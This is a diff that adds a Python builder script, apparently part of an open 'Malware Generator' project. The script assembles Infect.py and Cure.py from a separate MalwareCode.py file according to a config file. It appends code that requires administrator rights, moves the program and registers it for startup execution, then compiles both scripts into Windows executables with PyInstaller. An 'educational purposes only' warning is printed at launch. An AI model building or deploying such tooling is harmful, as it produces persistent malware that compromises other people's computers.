|
| 1 | +import configparser |
| 2 | +import importlib.util |
| 3 | +import logging |
| 4 | +import os.path |
| 5 | +import shutil |
| 6 | +import subprocess |
| 7 | +import time |
| 8 | + |
| 9 | +import colorlog |
| 10 | + |
| 11 | + |
| 12 | +# -------------------------- Functions -------------------------- # |
| 13 | + |
| 14 | + |
| 15 | +class Construct: |
| 16 | + @staticmethod |
| 17 | + def __safe_process_run(command, custom_err_message="executing the command", log_output=True): |
| 18 | + try: |
| 19 | + result = subprocess.run(command, check=True, capture_output=True, text=True) |
| 20 | + if log_output: |
| 21 | + log.debug(f"{result.stdout}.") |
| 22 | + except subprocess.CalledProcessError as e: |
| 23 | + log.error(f"[x] An error occurred while {custom_err_message}: {e.stderr}") |
| 24 | + exit(1) |
| 25 | + except Exception as e: |
| 26 | + log.exception(f"[x] An unexpected error occurred: {e}") |
| 27 | + exit(1) |
| 28 | + |
| 29 | + @classmethod |
| 30 | + def exe(cls, script_names): |
| 31 | + # Uninstall pathlib to avoid conflicts with PyInstaller |
| 32 | + REINSTALL = False |
| 33 | + if importlib.util.find_spec('pathlib') is not None: |
| 34 | + log.info(f"[-] Uninstalling pathlib to avoid conflicts with PyInstaller") |
| 35 | + # FUN FUCKIN FACT - Spent 5 hours not knowing why the fuckin code was hanging |
| 36 | + # Until I remembered I had forgotten -y, now you may ask, how didn't I know? |
| 37 | + # WELL FOR SOME FUCKIN REASON THE LOG BELOW SAID IT UNINSTALLED PERFECTLY, SO I DEBUGGED |
| 38 | + # WHY THE CODE SHOWS LOGS IN IMPROPER TIMINGS? AND AFTER I FIXED IT LOW AND BEHOLD IT WORKED |
| 39 | + cls.__safe_process_run(["python.exe", "-m", "pip", "uninstall", "pathlib", "-y"], |
| 40 | + custom_err_message="uninstalling pathlib") |
| 41 | + log.info(f"[-] 'pathlib' has been uninstalled successfully.") |
| 42 | + REINSTALL = True |
| 43 | + |
| 44 | + # Convert the scripts to an executable |
| 45 | + for scripts in script_names: |
| 46 | + log.info(f"[-] Converting {scripts} to an executable (This may take a few minutes)...") |
| 47 | + cls.__safe_process_run(['pyinstaller', '--onefile', scripts], |
| 48 | + custom_err_message=f"converting {scripts} to an executable") |
| 49 | + log.info(f"[-] {scripts} has been successfully converted to an executable.") |
| 50 | + |
| 51 | + # Reinstall pathlib if it was uninstalled |
| 52 | + if REINSTALL: |
| 53 | + log.info(f"[-] Reinstalling pathlib due to previous uninstall") |
| 54 | + cls.__safe_process_run(["python.exe", "-m", "pip", "install", "pathlib"], |
| 55 | + custom_err_message="reinstalling pathlib") |
| 56 | + |
| 57 | + @staticmethod |
| 58 | + def functions(config_path): |
| 59 | + config = configparser.ConfigParser() |
| 60 | + config.optionxform = str # Preserve original case of keys |
| 61 | + config.read(config_path) |
| 62 | + |
| 63 | + features = {} |
| 64 | + for section in config.sections(): |
| 65 | + if section == "What to create": |
| 66 | + for key, value in config.items(section, raw=True): |
| 67 | + try: |
| 68 | + callable1, callable2 = value.split(",") |
| 69 | + features[key.strip()] = (callable1.strip(), callable2.strip()) |
| 70 | + except ValueError: |
| 71 | + features[key.strip()] = "DISABLED" |
| 72 | + return features |
| 73 | + |
| 74 | + @staticmethod |
| 75 | + def end_code(variable): |
| 76 | + return fr""" |
| 77 | + try: |
| 78 | + if not is_admin(): |
| 79 | + log.critical("This script requires administrator privileges.") |
| 80 | + exit(1) |
| 81 | + |
| 82 | + if os.path.abspath(__file__) != config.get("Core Settings", "MOVE_TO", fallback="C:\\Users\\Hp"): |
| 83 | + Core().move_script() # Move the script |
| 84 | + Core().add_to_startup() # Add the script to startup execution |
| 85 | + log.info("Script moved to new folder, quitting now, will run on startup.") |
| 86 | + exit(0) # Exit the script to allow it to run from the new location after reboot |
| 87 | + else: |
| 88 | + {variable} |
| 89 | + except Exception as error: |
| 90 | + log.exception(f"A fatal error occurred: {{error}}") |
| 91 | + """ |
| 92 | + |
| 93 | + @staticmethod |
| 94 | + def safe_deletion(file_path): |
| 95 | + if os.path.exists(file_path): |
| 96 | + if os.path.isdir(file_path): |
| 97 | + shutil.rmtree(file_path) |
| 98 | + else: |
| 99 | + os.remove(file_path) |
| 100 | + log.info(f"[-] {file_path} has been deleted successfully.") |
| 101 | + else: |
| 102 | + log.warning(f"[!] {file_path} does not exist - Ignoring.") |
| 103 | + |
| 104 | + |
| 105 | +# -------------------------- Setup Code -------------------------- # |
| 106 | + |
| 107 | +# Print the ASCII art |
| 108 | +ASCII_ART = r""" |
| 109 | + _____ .__ |
| 110 | + / \ _____ | |__ _ _______ _______ ____ |
| 111 | + / \ / \\__ \ | |\ \/ \/ /\__ \\_ __ \_/ __ \ |
| 112 | +/ Y \/ __ \| |_\ / / __ \| | \/\ ___/ version: BETA |
| 113 | +\____|__ (____ /____/\/\_/ (____ /__| \___ > by: Shahm Najeeb (@DefinetlyNotAI) |
| 114 | + \/ \/ \/ \/ date: 16/01/2025 |
| 115 | + ________ __ |
| 116 | + / _____/ ____ ____ ________________ _/ |_ ___________ |
| 117 | +/ \ ____/ __ \ / \_/ __ \_ __ \__ \\ __\/ _ \_ __ \ |
| 118 | +\ \_\ \ ___/| | \ ___/| | \// __ \| | ( <_> ) | \/ |
| 119 | + \______ /\___ >___| /\___ >__| (____ /__| \____/|__| |
| 120 | + \/ \/ \/ \/ \/ |
| 121 | +""" |
| 122 | +print(ASCII_ART) |
| 123 | +time.sleep(0.5) |
| 124 | + |
| 125 | +# Setup the logger |
| 126 | +logger = colorlog.getLogger() |
| 127 | +logger.setLevel(getattr(logging, "INFO", logging.INFO)) |
| 128 | +# noinspection DuplicatedCode |
| 129 | +handler = colorlog.StreamHandler() |
| 130 | + |
| 131 | +log_colors = { |
| 132 | + "DEBUG": "cyan", |
| 133 | + "INFO": "green", |
| 134 | + "WARNING": "yellow", |
| 135 | + "ERROR": "red", |
| 136 | + "CRITICAL": "red", |
| 137 | +} |
| 138 | + |
| 139 | +formatter = colorlog.ColoredFormatter( |
| 140 | + "%(log_color)s%(message)s", |
| 141 | + log_colors=log_colors, |
| 142 | +) |
| 143 | + |
| 144 | +handler.setFormatter(formatter) |
| 145 | +logger.addHandler(handler) |
| 146 | +log = colorlog.getLogger(__name__) |
| 147 | + |
| 148 | +# Log start messages |
| 149 | +log.info("[-] Starting the script") |
| 150 | +log.warning("⚠️ USE FOR EDUCATIONAL PURPOSES ONLY ⚠️") |
| 151 | +log.warning("⚠️ I AM NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS SCRIPT ⚠️") |
| 152 | +time.sleep(0.5) |
| 153 | + |
| 154 | +# Get the location of the config file |
| 155 | +LOCATION_CONFIG = input("[i] Location of config.ini (Leave blank to use 'config.ini'): ") |
| 156 | +if LOCATION_CONFIG == "": |
| 157 | + LOCATION_CONFIG = "config.ini" |
| 158 | +if not os.path.exists(LOCATION_CONFIG): |
| 159 | + log.error("[x] Config file not found, quitting now.") |
| 160 | + exit(1) |
| 161 | + |
| 162 | +# Get the features to use from the config file |
| 163 | +FEATURES = Construct.functions(LOCATION_CONFIG) |
| 164 | +for feature, status in FEATURES.items(): |
| 165 | + log.debug(f"[*] {feature} - {status}") |
| 166 | + |
| 167 | +# Initialize the code variables for code |
| 168 | +INFECT_CODE = "" |
| 169 | +CURE_CODE = "" |
| 170 | + |
| 171 | +# -------------------------- Builder Code -------------------------- # |
| 172 | + |
| 173 | +try: |
| 174 | + if shutil.which("pyinstaller") is None: |
| 175 | + log.error("[x] PyInstaller is not installed or not found in PATH.") |
| 176 | + exit(1) |
| 177 | + |
| 178 | + # Create the Infect.py and Cure.py files |
| 179 | + try: |
| 180 | + log.info("[-] Building the Infect.py and Cure.py files") |
| 181 | + # Get functions to use from config.ini |
| 182 | + # Infect functions |
| 183 | + for feature, status in FEATURES.items(): |
| 184 | + INFECT_CODE += f" {feature}.{status[1]}\n" |
| 185 | + # Cure functions |
| 186 | + for feature, status in FEATURES.items(): |
| 187 | + if status[0] != "None": |
| 188 | + CURE_CODE += f" {feature}.{status[0]}\n" |
| 189 | + |
| 190 | + # Get the whole code database |
| 191 | + log.debug("[*] Reading the MalwareCode.py file") |
| 192 | + with open("MalwareCode.py", "r") as f: |
| 193 | + DB_CODE = f.read() |
| 194 | + |
| 195 | + # Create the Infect.py and Cure.py files and write the code |
| 196 | + # Function calls to add to the Infect.py |
| 197 | + with open("Infect.py", "w") as f: |
| 198 | + f.write(DB_CODE) |
| 199 | + f.write(Construct.end_code(INFECT_CODE)) |
| 200 | + # Function calls to add to the Cure.py |
| 201 | + with open("Cure.py", "w") as f: |
| 202 | + f.write(DB_CODE) |
| 203 | + f.write(Construct.end_code(CURE_CODE)) |
| 204 | + |
| 205 | + log.info("[-] Infect.py and Cure.py files built successfully") |
| 206 | + except Exception as error: |
| 207 | + log.exception(f"[x] A fatal error occurred: {error}") |
| 208 | + exit(1) |
| 209 | + |
| 210 | + # Convert the Infect.py and Cure.py to executables, then delete the original files |
| 211 | + try: |
| 212 | + log.info("[-] Converting Infect.py and Cure.py to executables") |
| 213 | + Construct.exe(['Infect.py', 'Cure.py']) |
| 214 | + log.info("[-] Infect.py and Cure.py converted to executables successfully") |
| 215 | + except Exception as error: |
| 216 | + log.exception(f"[x] A fatal error occurred: {error}") |
| 217 | + exit(1) |
| 218 | + finally: |
| 219 | + Construct.safe_deletion("Infect.py") |
| 220 | + Construct.safe_deletion("Cure.py") |
| 221 | + Construct.safe_deletion("build") |
| 222 | + Construct.safe_deletion("Cure.spec") |
| 223 | + Construct.safe_deletion("Infect.spec") |
| 224 | + shutil.move("dist/Infect.exe", "Infect.exe") |
| 225 | + shutil.move("dist/Cure.exe", "Cure.exe") |
| 226 | + Construct.safe_deletion("dist") |
| 227 | + |
| 228 | + log.info("[-] Script execution completed successfully") |
| 229 | +except KeyboardInterrupt: |
| 230 | + log.warning("[!] Keyboard Interrupt detected, quitting now.") |
| 231 | + exit(1) |
0 commit comments